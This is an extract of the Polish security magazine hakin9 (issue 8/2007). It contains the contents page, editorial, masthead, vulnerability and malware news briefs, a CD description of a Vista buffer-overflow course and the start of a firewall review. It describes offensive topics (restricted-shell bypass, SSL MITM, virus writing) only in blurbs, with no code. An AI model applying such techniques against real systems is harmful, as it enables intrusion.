Hakin9 28 (08 2007) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 8/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Recenzja

NETASQ NA-F60

12

Recenzja

Panda Internet Security 2007

13

Recenzja

EagleeyeOS Professional Severe

14

Początki

Podejrzany klucz rejestru

16

David Maciejak

David zaprezentuje jak wykryć ślady złośliwego

oprogramowania na platformie Windows. Nauczy-

cie się też, jak pisać własne pluginy Nessusa za

pomocą NASL.

Atak

Restrykcyjne powłoki

– jak je obejść?

26

Dawid Gołuński

Dawid pokazuje nam, jak zmodyfikować restrykcyj-

ne środowisko w celu ograniczenia dostępu dla użyt-

kownika. Poznasz charakterystykę działania restryk-

cyjnej powłoki oraz jej budowę.

Hakowanie protokołu SSL

34

Artyr Czyż

Artur pokazuje, jakie błędy kryją się w protokole SSL

oraz jak za pomocą ataku MITM przejąć dane konta

innej osoby.

Hakowanie rejestru

38

Rafał Podsiadły

Rafał pokaże nam, jak napisać wirusa oraz na co

zwrócić uwagę przy tworzeniu szkodliwego kodu.

Witam!

Jako że redagujemy pismo, dotyczące bezpieczeństwa IT,

często bywamy na konferencjach poświęconych temu tema-

towi. Zaciekawiła nas jedna z nich, a mianowicie konferen-

cja o piractwie komputerowym, zorganizowana przez firmę

BSA i Microsoft.

Swoją wiedzą i wypowiedziami zaintrygował nas zwłasz-

cza Krzysztof Janiszewski z Microsoftu, zajmujący się pro-

blematyką ochrony własności intelektualnej. Nasze zacieka-

wienie zaowocowało wywiadem. Gorąco polecam ową roz-

mowę, którą nasi Czytelnicy mogą przeczytać w poniższym

wydaniu h9 8/2007. Pan Krzysztof obiecał, że będzie nam

dostarczał ciekawych informacji dotyczących piractwa kom-

puterowego, więc zapraszam do śledzenia kolejnych nume-

rów naszego czasopisma, by dowiedzieć się czegoś więcej

na ten temat. My, ze swojej strony gwarantujemy, że zagad-

nienia te poruszymy w rozmowie z rzecznikiem BSA.

Oprócz znakomitego wywiadu w h9 znajdziecie jak

zawsze zbiór bardzo interesujących artykułów, takich jak:

Hakowanie SSL, Hakowanie powłoki, Apache jako Reverse

Proxy i wiele, wiele innych, których lekturę gorąco polecam.

Specjalnie dla naszych Czytelników udostępniamy multi-

medialny kurs Stack Overflow Windows Vista, dwa progra-

my oraz 3 nowe tutoriale.

Pozdrawiam

Katarzyna Juszczyńska

background image

4

www.hakin9.org

hakin9 Nr 8/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Microsoft SQL Server 2005

– bezpieczne aplikacje

44

Artur Żarski

Artur przedstawi techniki tworzenia bezpiecznych aplika-

cji o charakterze baz danych w oparciu o Microsoft SQL

Server 2005.

Bezpieczna podróż

przez sieć LAN i Internet?

50

Michał Poselt

Michał pokaże, jak zabezpieczyć się przed Phishin-

giem oraz jak używać McAfee Site Advisor.

Apache jako Reverse Proxy

56

Radosław Pieczonka

Radosław napisze nam o tym, czym jest reverse proxy,

jak skonfigurować serwer Apache2 dla reverse proxy.

Secure Remote Password Protocol

62

Cezary G. Cerekwicki

Cezary pokaże, jak działa najbezpieczniejszy proto-

kół uwierzytelniający przez użycie hasła.

Bezpieczna Firma

Bezpieczeństwo informacji

w polskich normach

66

Andrzej Guzik

Andrzej napisze nam, jakie normy i raporty technicz-

ne stanowią najlepsze praktyki w zakresie zapewnie-

nia bezpieczeństwa informacji w instytucji.

Klub Techniczny

Outpost Security Suite

72

Wywiad

Wywiad z Krzysztofem

Janiszewskim, pracownikiem

firmy Microsoft

74

Robert Gontarski, Katarzyna Juszczyńska

Krzysztof Janiszewski specjalista ds. Ochrony Wła-

sności Intelektualnej z firmy Microsoft

Felieton

78

Patryk Szlagowski

Przeglądarki – temat tabu

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

numerze naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor:
Sylwia Pogroszewska

Redaktor naczelny: Martyna Żaczek

martyna.zaczek@software.com.pl

Redaktor prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Asystent redaktora: Robert Gontarski

robert.gontarski@software.com.pl

Tłumaczenie: Piotr Żuk

Wyróżnieni betatesterzy: Przemysław Prytek, Tomasz Przybylski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 8/2007

Dziurawe blogi

W popularnym oprogramowaniu

do tworzenia blogów – WordPress

– odkryto trzy poważne luki, które

pozwalają napastnikowi na wsta-

wienie własnych skryptów PHP i

ich wykonanie. Błąd występuje we

wtyczkach myFlash, wordTube i

wp -Table i jest związany z nieprawi-

dłowym przetwarzaniem parametru

wppath w modułach wordtube-but-

ton.php, js/wptable-button.php i

myflash-button.php. Wszystkie

wtyczki, w których zostały wykryte

luki, wyszły spod ręki tego samego

programisty. WordPress to system

obsługi blogów napisany w języku

skryptowym PHP. Do swojego funk-

cjonowania wykorzystuje bazę

MySQL. Rozpowszechniany jest na

licencji GNU General Public Licen-

se. Rozwojem WordPressa kieruje

Ryan Boren oraz Matt Mullenweg.

Uwaga na trojan imitujący

aktywację Windows

Specjaliści z firmy Symantec ostrze-

gają użytkowników systemu Win-

dows przed nowym koniem trojań-

skim Kardphisher, który do złudze-

nia przypomina produkt Microso-

ftu - Windows Genuine Advanta-

ge (WGA). Po uruchomieniu Troja-

na użytkownikowi wyświetlany jest

komunikat, z którego wynika, że

niezbędne jest przeprowadzenie

powtórnej aktywacji OS-u. Jeśli użyt-

kownik nie wyrazi zgody na aktywa-

cję, komputer zostanie zrestartowa-

ny, zaś po jego uruchomieniu znów

pojawi się żądanie ponownej akty-

wacji systemu. Kardphishera można

usunąć za pomocą uaktualnionego

programu antywirusowego.

Eksperci ostrzegają przed nowym

robakiem rozprzestrzeniającym się

poprzez klipsy USB

Firma Sophos informuje o nowym

robaku – SillyFD-AA, który insta-

luje się w systemie, a następnie

wyświetla za pomocą przeglądarki

internetowej informację Hacked by

1BYTE. Szkodnik wyszukuje pod-

łączone do komputera urządzenia

USB i kopiuje się na nie, aby potem

zarażać inne komputery, Spadek

cen klipsów USB sprawia, iż stają

się one narzędziem cyberprzestęp-

ców - zauważa Graham Clueley z

firmy Sophos. Aby uniknąć ataku

robaka, użytkownicy powinni wyłą-

czyć w systemie Windows funkcję

Autorun. Warto również od czasu

do czasu przeskanować dysk USB

programem antywirusowym.

Włamanie na serwery AOL-u

S

iedemnastolatek z Nowego Jorku
włamał się do systemów informa-

tycznych koncernu AOL. Mike Nieves
został jednak szybko zdemaskowany i
zatrzymany, a sprawa trafiła do sądu
w NY. Podczas pierwszej rozpra-
wy przedstawiono mu zarzuty popeł-
nienia czterech przestępstw i jedne-
go wykroczenia. Młody nowojorczyk
po włamaniu na serwery miał dostęp
m.in. do szczegółowych danych klien-
tów, komputerów działu supportu oraz
kont pracowników. Atak na AOL był
zemstą skierowaną przeciwko firmie,
która bezprawnie odebrała mu konto
w serwisie AOL.com. Włamania doko-
nał pomiędzy 24.12.2006 a 7.04.2007.
W tym czasie wielokrotnie włamy-
wał się na serwery AOL. Firma w
wyniku ataku poniosła straty sięgają-
ce 500 tys. USD. Według niepotwier-
dzonych informacji nastolatek należy
do grupy hakerskiej, która specjalizu-

je się we włamaniach do dużych kor-
poracji. AOL to duży dostawca usług
internetowych, spółka korporacji
medialnej America Online. W latach
90, AOL obsługiwał 30 milionów sub-
skrybentów, chociaż obecnie liczba ta
znacząco spadła. Usługi AOL zosta-
ły uruchomione w 1985 jako rodzaj

mega-BBS dla komputerów Commo-
dore 64 i 128.

Rysunek 1.

Zrzut ekranu poczty

IncreditMail

Hakerzy ponownie zaproszeni

na konferencję Microsoftu

K

oncernr Microsoft po raz kolej-
ny zaprosił do współpracy człon-

ków społeczności hakerskiej na
swoją konferencję Blue Hat. Konfe-
rencja z udziałem specjalistów od
łamania zabezpieczeń i wyszukiwa-
nia luk w oprogramowaniu odbyła
się w głównej siedzibie Microsoft
w Redmond. Na spotkaniu obecni
byli między innymi Kevin Mahaffey i
John Hering z Flexilis, David Maynor

i Robert Graham z Errata Security
oraz Rob Thomas z Team Cymru.
Gigant z Redmond liczy na to, iż
hakerzy podpowiedzą mu, jak popra-
wić zabezpieczenia jego produktów.
Microsoft zainicjował cykliczne kon-
ferencje z udziałem hakerów dwa lata
temu – w celu wypromowania dialogu
pomiędzy jego wewnętrznym zespo-
łem ds. bezpieczeństwa, a zewnętrz-
nymi badaczami.

Vista całkowicie złamana

W

Sieci pojawiła się całkowi-
cie złamana wersja Windows

Visty Ultimate - donosi The Inqu-

irer. Zabezpieczenia najnowszego
systemu Microsoftu zostały przeła-
mane przez grupę NoPE. O scrac-
kowanych wersjach Visty słyszeli-
śmy już kilkakrotnie, jednak obecna
jest wyjątkowa. Otóż zabezpiecze-
nia Visty zostały całkowicie poko-
nane! Nie trzeba używać żadnych
numerów seryjnych, kluczy aktywa-
cyjnych, nie trzeba przerabiać BIOS-
u. Wystarczy po prostu umieścić

w napędzie specjalną wersję DVD,
przygotowaną przez grupę NoPE
i normalnie zainstalować system.
Microsoft od wielu lat boryka się z
tym samy problemem i jak na razie
programistom nie udało się stwo-
rzyć odpowiednich narzędzi antypi-
rackich, które w 100% zabezpieczą
produkty giganta z Redmond. Zabez-
pieczenie antypirackie w poprzedniej
wersji systemu Windows XP, zostało
złamane jeszcze przed udostępnie-
niem beta wersji.

background image

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 8/2007

Luka w odtwarzaczu Winamp

Haker o pseudonimie Marsu Pilami

wykrył poważny błąd w najnowszej

wersji popularnego odtwarzacza

muzyki Winamp. Błąd występuje w

bibliotece libmp4v2.dll, która odpo-

wiedzialna jest za przetwarzanie

plików MP4. Odpowiednio sprepa-

rowany plik muzyczny może spo-

wodować wykonanie złośliwego

kodu i w konsekwencji doprowa-

dzić na przykład do przejęcia kon-

troli nad komputerem. Błąd wystę-

puje tylko w najnowszych wersjach

Winampa, oznaczonych numerami

5.33 i 5.34. AOL, obecny właściciel

Winampa, poinformował, iż pracuje

nad załataniem luki.

Użytkownicy Photoshopa

w niebezpieczeństwie

Wykryto krytyczną lukę w aplikacji

Adobe Photoshop, która umożliwia

przejęcie kontroli nad komputerem.

Oznaczona jako wysoko krytyczna

dziura dotyczy Photoshopa w wersji

CS2 oraz CS3. Odpowiednio spre-

parowany plik graficzny .bmp (.dib,

.rle) może ułatwić przeprowadzenie

ataku związanego z przepełnieniem

bufora, a to z kolei ułatwi przejęcie

kontroli nad atakowanym kompute-

rem. Specjaliści z firmy Secunia nie

odnotowali jeszcze istnienia złośli-

wego oprogramowania wykorzystu-

jącego dziurę. Zaleca się jednak,

aby użytkownicy Photoshopów nie

otwierali map bitowych pochodzą-

cych z nieznanych źródeł.

Crakerzy napadli na piratów

Popularny serwis P2P The Pirate

Bay został zaatakowany przez hake-

rów, którzy wykorzystując dziurę w

oprogramowaniu do obsługi blogów

wykradli zawartość bazy danych ser-

wisu, zawierającą nazwy użytkow-

ników i hasła 1,6 miliona użytkowni-

ków. Przedstawiciele The Pirate Bay

uspokajają, iż dane te są dodatkowo

zaszyfrowane, więc jest raczej mało

prawdopodobne, iż złodzieje zdołają

je wykorzystać. Internautom posia-

dającym konta na stronie zalecono

jednak jak najszybszą zmianę haseł

dostępu. Administratorzy twierdzą, iż

wiedzą, kto jest odpowiedzialny za

atak – jednak na razie informacji tej

nie podano. The Pirate Bay to jeden

z największych trackerów BitTorren-

ta na świecie. TPB został urucho-

miony przez szwedzką organizację

Piratbyran na początku roku 2004,

a od października 2004 jest osobną

organizacją.

Poważna luka w Novell NetMail

W

programie pocztowym Novell
NetMail 3.52e wykryto poważ-

ną lukę, która pozwala napastniko-
wi na zdalne uruchomienie dowol-
nego kodu z uprawnieniami, z który-
mi działa usługa NetMail. Błąd doty-
czy usługi NMDMC.EXE, która nie
przeprowadza właściwej kontroli wej-
ścia podczas kopiowania danych do
wewnętrznego bufora. Novell przy-
gotował już nową wersję programu
(3.52f), w której błąd został naprawio-
ny. Novell NetMail to system zarzą-
dzania pocztą, kontaktami i spotka-

niami, wyposażony we własny komu-
nikator. System obsługuje wszystkie
podstawowe protokoły SMTP, POP3,

IMAP4, HTML, S/MIME, a jego naj-
nowsza wersja działa na platformach
NetWare, Solaris, Linux oraz Win-
dows NT/2000. Novell NetMail jest też
powiązany z rozwiązaniami, takimi jak
eDirectory, iFolder czy GroupWise.
NetMail współpracuje z większością
popularnych klientów pocztowych
Outlook, Eudora, Netscape Mail oraz
platformami GroupWise, Exchange i
Lotus Notes.

Pierwsze narzędzie do audytu e-mail

D

ostawca narzędzi zarządzania,
firma Quest Software wprowa-

dziła do sprzedaży najnowsze narzę-
dzie wspomagające bezpieczeństwo
systemu pocztowego: Quest InTrust

Plug-in for Exchange. Jest to pierw-
szy produkt na rynku, który umożli-
wia śledzenie w czasie rzeczywistym
dostępu i działań właścicieli skrzynek
pocztowych oraz użytkowników uzy-
skujących dostęp do skrzynek pocz-
towych w imieniu właściciela (admi-
nistratorzy). Rozwiązanie to pozwa-
la także na przeprowadzanie audytu
zmian uprawnień lub konfiguracji w
środowisku Exchange Server. Narzę-
dzie Quest InTrust Plug-in for Exchan-

ge raportuje oraz generuje alarmy w
oparciu o zapisy w dzienniku zda-
rzeń, pozwala również przeglądać i
archiwizować informacje zawarte w
logach, generować raporty związa-
ne z aktywnością serwera Exchange
i wysyłać alerty w przypadku stwier-
dzenia nieprawidłowości lub krytycz-
nych zachowań użytkowników. InTrust

Plug-in for Exchange umożliwia prze-
prowadzenie szczegółowego audytu
zmian konfiguracyjnych i uprawnienio-
wych w środowisku Exchange Server.
W zakresie zarządzania infrastrukturą
Microsoftu, Quest konkuruje z takimi
dostawcami, jak Bindview, NetIQ oraz
NetPro.

Policja zamyka napisy.org

P

olicjanci z Wydziału PG KWP
w Katowicach zatrzymali dzie-

więć osób, które nielegalnie tłuma-
czyły dialogi z filmów i zamieszcza-
ły je na znanym portalu internetowym
napisy.org. Portal był najpopular-
niejszą stroną z tłumaczeniami dia-
logów filmowych w Polsce. Pozwa-
lał setkom tysięcy użytkownikom
miesięcznie oglądać obcojęzycz-
ne filmy z polskimi napisami. Usta-
lono, że domena Napisy.org. znaj-
duje się na niemieckim serwerze, a
administratorem jest 26-letni właści-
ciel sklepu z częściami komputero-
wymi z Zabrza. W likwidowaniu nie-
legalnego serwisu brali udział poli-
cjanci z czterech województw, poli-

cja niemiecka oraz przedstawiciele
Fundacji Ochrony Twórczości Audio-
wizualnej. Policja rozpoczęła przygo-
towania do całej akcji na wniosek firm
pokrzywdzonych działaniami serwisu
Napisy.org. Podejrzanym grozi teraz
kara nawet do 2 lat pozbawienia wol-
ności. Nie są to pierwsze problemy

Napisy.org. W zeszłym roku serwis
ten wraz ze stroną Napisy.info stał
się celem ataków dystrybutora Gutek
Film. Wtedy jednak po krótkiej prze-
rwie serwis wrócił do Sieci. Na stor-
nie http://kinomania.org znajduje się
list otwarty tłumaczy-hobbystów w
sprawie zatrzymań osób tworzących
napisy do filmów.

background image

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

8

The Pirate Bay stworzyło

nową stronę z muzyką

The Pirate Bay pracuje nad nową,

udostepniającą pliki muzyczne

stroną, która pozwoli użytkowni-

kom na legalne ściąganie muzyki,

przy równoczesnym wspieraniu

artystów finansowo. Projekt Play-

ble.com powstał dzięki współpra-

cy The Pirate Bay ze szwedzką

grupą rockową Lamont i ich mana-

gerem Kristopherem S. Wilburem.

Tym, co wyróżnia Playble.com

od innych stron (np. Itunes), jest

bezpośrednie wspieranie arty-

stów i muzyki. Użytkownicy por-

talu będą mogli płacić miesięcz-

ną dobrowolną opłatę za ściąganie

muzyki, podczas gdy wiele podob-

nych stron narzuca użytkownikom

własne opłaty.

Wykryto lukę w programie

pocztowym IncrediMail

Specjaliści z US-CERT poinfor-

mowali o luce w module ActiveX,

który instalowany jest przez pro-

gram IncrediMail. Dziura pozwa-

la na wprowadzenie do komputera

ofiary złośliwego kodu. Błąd polega

na przepełnieniu bufora w module

IMMenuShellExt. Lukę można

wyeliminować poprzez wyłączenie

obsługi kontrolek ActiveX. Incredi-

Mail to rozbudowany klient poczty

elektronicznej, który oferuje duże

możliwości kreacji i edycji listów,

do których można dołączać grafikę,

animowane elementy, efekty 3D

oraz odręczny podpis.

Microsoft Forefront Client

Security Evaluation Edition

Microsoft udostępnił testową

wersję oprogramowania Microsoft

Forefront Client Security, które ofe-

ruje ochronę przed szkodliwym

oprogramowaniem: spyware, wiru-

sami, rootkitami, koniami trojański-

mi i robakami. W skład rozwiązania

Forefront Client Security wchodzą

dwa elementy: Agent zabezpieczeń

– który zapewnia ochronę w czasie

rzeczywistym i Serwer centralne-

go zarządzania – który umożliwia

zarządzanie i aktualizowanie skon-

figurowanych agentów szkodli-

wej zawartości. Microsoft przygo-

tował pełną dokumentację produk-

tu: Microsoft Forefront Client Secu-

rity Product Documentation, która

dostępna jest za darmo na stronie

internetowej firmy. W dokumenta-

cji znajdziemy szczegółowe prze-

wodniki po nowych produktach linii

Forefront.

Luka w aplikacjach firmy McAfee

S

pecjalista ds. Bezpieczeństwa,
Peter Vreugdenhil poinformo-

wał o bardzo poważnej luce w aplika-
cjach firmy McAfee. Wykryta podat-
ność umożliwia zdalny dostęp do sys-
temu. Luka występuje w takich apli-
kacjach jak McAfee Internet Securi-
ty Suite 6.x, McAfee VirusScan Plus
2007, McAfee Personal Firewall Plus
5.x, McAfee SpamKiller 5.x, McAfee
AntiSpyware 2.x. Firma McAfee opu-
blikowała upgrade do wersji 7.2.147
lub 6.0.25, który dostępny jest pod
adresem: http://us.mcafee.com/root/

login.asp Firma McAfee, z siedzibą
centrali w Santa Clara w Kalifornii,
jest światowym liderem w dziedzinie

ochrony przed włamaniami do sieci
i zarządzania zagrożeniami bezpie-
czeństwa. Oferuje sprawdzone roz-
wiązania i usługi służące do prewen-
cyjnego zabezpieczania systemów i
sieci informatycznych na całym świe-
cie. Dzięki niezrównanej znajomo-
ści zagadnień bezpieczeństwa oraz
zaangażowaniu na rzecz innowacyj-
ności, McAfee dostarcza indywidu-
alnym użytkownikom, firmom, insty-
tucjom z sektora publicznego i usłu-
godawcom mechanizmy do nieustan-
nego monitorowania i poprawy ich
bezpieczeństwa, blokowania ataków
oraz zapobiegania zakłóceniom dzia-
łalności.

Microsoft: Open Source narusza

235 patentów

W

edług firmy Microsoft otwar-
te oprogramowanie, między

innymi Linux, narusza 235 patentów
należących do korporacji z Redmond.
Microsoft doszukał się złamania 42
patentów w kodzie jądra Linuksa, 65
w graficznym interfejsie użytkowni-
ka, 45 w pakiecie OpenOffice.org,
15 w programach pocztowych oraz
68 w innym oprogramowaniu FOSS.
Społeczność Open Sopurce, a także
firmy, które należą do stowarzyszenia

Open Invention Network, m.in. Sony,
Red Hat, IBM, NEC, Oracle czy Phil-
lips, zapowiadają gotowość do kontr-
ataku. Na łamach InformationWeek

Linus Torvalds (twórca jądra Linux)

wypowiedział się na temat zarzutów
łamania patentów przez wolne opro-
gramowanie. "Zdecydowanie jest bar-
dziej prawdopodobne, że to Micro-
soft łamie jakieś patenty niż Linux"
– stwierdza Torvalds. "Podstawowe

teorie systemu operacyjnego zosta-

ły dokładnie określone pod koniec

lat 60. Prawdopodobnie IBM posiada

tysiące prawdziwie 'fundamentalnych'

patentów" – dodaje Torvalds. Aktu-
alnie Microsoft nie zamierza docho-
dzić swoich praw w sądzie. "Gdyby-

śmy tego chcieli, zrobilibyśmy to już

lata temu" - powiedział dla IW Horacio
Gutierrez, przedstawiciel Microsoftu.

Mateusz Stępień

Rysunek 2.

www.mcafee.com.pl

background image
background image

hakin9.live

hakin9 Nr 8/2007

www.hakin9.org

10

EagleEyeOS Professional Severe

Program ten oferuje zupełne zabezpieczenie – komplet-
ny zasięg w rozpoznawaniu alertów, rozwinięte monitoro-
wanie w kwestii wykorzystywania drukarek. Świetnie na-
daje się do zastosowania zarówno w dużych firmach, jak
i średnich i małych przedsiębiorstwach. Cykl życia doku-
mentów może być kontrolowany i śledzony za pomocą
monitorowania aktywności użytkownika, tworzenia do-
kumentów kwarantanny, a także poprzez kontrolowanie
urządzeń przenośnych. EagleEyeOS Professional Seve-

re obsługuje też drukarki i alerty innych dowolnych zda-
rzeń. Nawigacja po programie jest łatwa i szybka, panel
kontrolny EagleEye wykorzystuje jego stronę domową.
Znajdują się na niej wielokrotnie używane linki i general-
ne dane statystyczne.

Real-Time Monitoring monitoruje w czasie rzeczywi-

stym zdarzenia, pojawiające się w całej Sieci. Zwiększe-
nie efektywności badania incydentów w czasie rzeczywi-
stym pomaga wykonywać pracę na odpowiedni poziomie.

Reports umożliwiają analizowanie zdarzeń użytkowni-

ków. Dzięki tworzonym raportom mamy możliwość grupo-
wania, przeszukiwania i układania w kolejności tych zda-
rzeń w odpowiedniej kolejności, tak aby usprawnić pracę.

File Lifecycle Tracking to z kolei specjalna opcja

umożliwiająca śledzenie operacji pliku. The File Lifecycle

Tracking przedstawia zestawienie śladów życia pliku za
pomocą drzewa. Istnieje też możliwość przeszukania pli-
ków bezpośrednio z zapytanego raportu.

Storage Lifecycle Tracking pokazuje, który host po-

łączył się z urządzeniem przechowującym dane (jak pen
drive czy aparat) i kiedy to zrobił. Bazując na możliwości
identyfikacji sprzętu, narzędzie zawiadamia o tym, kto sie
połączył, kiedy to zrobił, z którego hosta oraz jaki rodzaj
operacji został wykonany na pliku. Alerts zawiadamiają
o dowolnym zdarzeniu i generują się w momencie mają-
cego miejsce zdarzenia. Alerty mogą być wywoływane z

Raports i z File lifecycles. Ma to duże znaczenie dla na-
tychmiastowego wykrywania nadużyć.

File AntiCopy

Chroń swoje pliki razem z File AntiCopy. Nikt nie będzie
w stanie otworzyć, skopiować lub wykasować pliku bez
twojego zezwolenia. Masz gwarancje że program nigdy
nie straci twoich danych.

Instalacja jest bardzo prosta, wystarczy uruchomić

plik fac.exe, nie jest wymagany żaden kod.

Każda osoba z podstawową wiedzą komputerową mo-

że zabezpieczyć swoje pliki, gdyż interface aplikacji jest
bardzo prosty. Logowanie odbywa się przez wprowadze-
nie loginu admin i hasła admin. Wyświetli się panel konfi-
guracyjny. Aby zabezpieczyć plik, należy dodać go do pli-
ków chronionych i zmienić status Anti-Copy na Aktywny.

Zawartość CD

Opis kursu Visty

Zabezpieczenie ASLR Windows Visy jest włączone do-
myślnie dla programów produkowanych przez firmę Mi-
crosoft i umożliwia zapewnienie bezpieczeństwa pamię-
ci aplikacji i usług, aby uniknąć wykorzystania przepeł-
nienia bufora.

Tego rodzaju dziura umożliwia wykonanie kodu z pra-

wami podatnego programu.

Nowe zabezpieczenia Microsoft Windows Visty

uniemożliwiają wykorzystanie tych słabości. W tym ar-
tykule spróbujemy zrozumieć działanie mechanizmów
zabezpieczających. Przedstawimy również kilka tech-
nik, których można użyć, aby wykorzystać przepełnie-
nia bufora.

Poruszymy najpierw temat działania /SafeSeh (po-

twierdzenie programów zarządzających wyjątkami) i /Dy-

namicBase (które umożliwia szczegółową randomizację
stosu, sterty i obrazu plików wykonywalnych).

Użyjemy kilku technik, aby zmniejszyć wpływ tych za-

bezpieczeń na wykorzystanie przepełnienia bufora oraz
aby zaobserwować, w jakim stopniu można użyć tech-
niki SEH overwrite, nawet w kontekście zabezpieczenia
przez /SafeSeh et /DynamicBase.

Artykuł ten pozwoli Ci lepiej zrozumieć mechanizmy

zabezpieczające, jakie umożliwia Windows Vista oraz
pokaże ich ograniczenia.

Aby w pełni korzystać z tego wideo, zalecamy pozna-

nie działania OllyDbg, a także sposobów przeprowadzania
ataków przez przepełnienie bufora w systemie Windows.

Ten artykuł wideo został przygotowany przez Ali Rah-

bar, inżyniera i konsultanta ds bezpieczeństwa informa-
tycznego.

Aulin Cadeac (wstęp), Ali Rahbar (realizacja wideo)

SYSDREAM, szkolenia i porady w kwestii bezpieczeń-
stwa informatycznego (http://www.sysdream.com).

Rysunek 1.

Wykorzystanie podobnego programu Vista

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

13

hakin9 Nr 8/2007

www.hakin9.org

Narzędzia

W dobie wszechobecnego Internetu należy kłaść coraz
większy nacisk na zabezpieczenie swojej Sieci przed
atakami z zewnątrz. Mamy tu bardzo duże możliwości
wyboru oprogramowania, jednak dużo większą ochronę
zapewni nam urządzenie specjalnie do tego celu zapro-
jektowane. Jednym z tego typu urządzeń jest NA-F60.
Jest to sprzęt firmy Netasq przeznaczony do małych i
średnich sieci. Urządzenie jest więc dedykowane zarów-
no użytkownikom domowym, jak też małym firmom.

Podczas tworzenia Sieci podłączonej do Internetu

najważniejszym priorytetem jest bezpieczeństwo. Oczy-
wiście istnieje mnóstwo oprogramowania, które zabez-
pieczać może poszczególne komputery, ale dopiero przy
wykorzystaniu właściwego sprzętu możemy chronić całą
naszą Sieć i decydować o tym, z jakich zasobów mogą
korzystać jej użytkownicy.

W pudełku z urządzeniem znajdziemy komplet kabli

oraz płyty z oprogramowaniem i podręcznikami. Dość
istotnym minusem – przynajmniej dla mnie – jest brak
instrukcji w wersji polskiej. Wiem, że język angielski jest
dla większości osób zrozumiały, ale producent chyba
zapomniał, że swój produkt skierował na rynek polski.
Drugim minusem jest brak podręcznika wydrukowanego,
ponieważ część osób woli zapoznawać się z urządze-
niem w wygodnym fotelu niż wpatrując się w monitor.

Firma NETASQ upchnęła w opisywanym urządzeniu

wszystkie elementy niezbędne do zabezpieczenia Sieci.
NA-F60 zawiera firewall, system wykrywania i blokowania
włamań IPS (Intrusion Prevention System), serwer VPN,

system antywirusowy, system antyspamowy oraz system
filtrowania dostępu do stron internetowych (filtr URL).

Sprzęt posiada cztery wbudowane routowalne inter-

fejsy oraz 128Mb pamięci w postaci Compact Flash.
Wydajność urządzenia określają najlepiej zestawione
poniższe wartości:

• przepustowość IPS-Firewall – 115Mbps,
• przepustowość kanału VPN szyfrowanego AES – 18

Mbps,

• maksymalna liczba połączeń TCP – 15000,
• maksymalna liczba kanałów VPN IPSEC – 100
• maksymalna liczba reguł filtrujących – 512

UTM posiada bardzo dobry system wykrywania i blokowa-
nia włamań, na który składają się: wykrywanie anomalii w
protokołach (HTTP, FTP, DNS, SMTP, POP3, IMAP4, RIP,
H323, EMULE, SSH, SSL, NNTP, TELNET), analiza heu-
rystyczna, sygnatury kontekstowe oraz analiza protokołów
warstwy aplikacji. Zabezpiecza naszą Sieć również przed
wirusami poprzez wbudowany ClamAV, transparentne
skanowanie HTTP, SMTP i POP3 oraz bardzo ważne
aktualizacje automatyczne, bez których żadne zabezpie-
czenia antywirusowe nie spełniają swojego zadania.

Bardzo ciekawym dodatkiem jest możliwość filtrowa-

nia treści stron WWW, poczty przychodzącej i wycho-
dzącej, programów P2P oraz ruchu multimedialnego.

Do zarządzania urządzeniem dostajemy do dyspo-

zycji bardzo rozbudowany pakiet administracyjny – nie-
stety tylko pod Windows – konsolę SSHv2 oraz połącze-
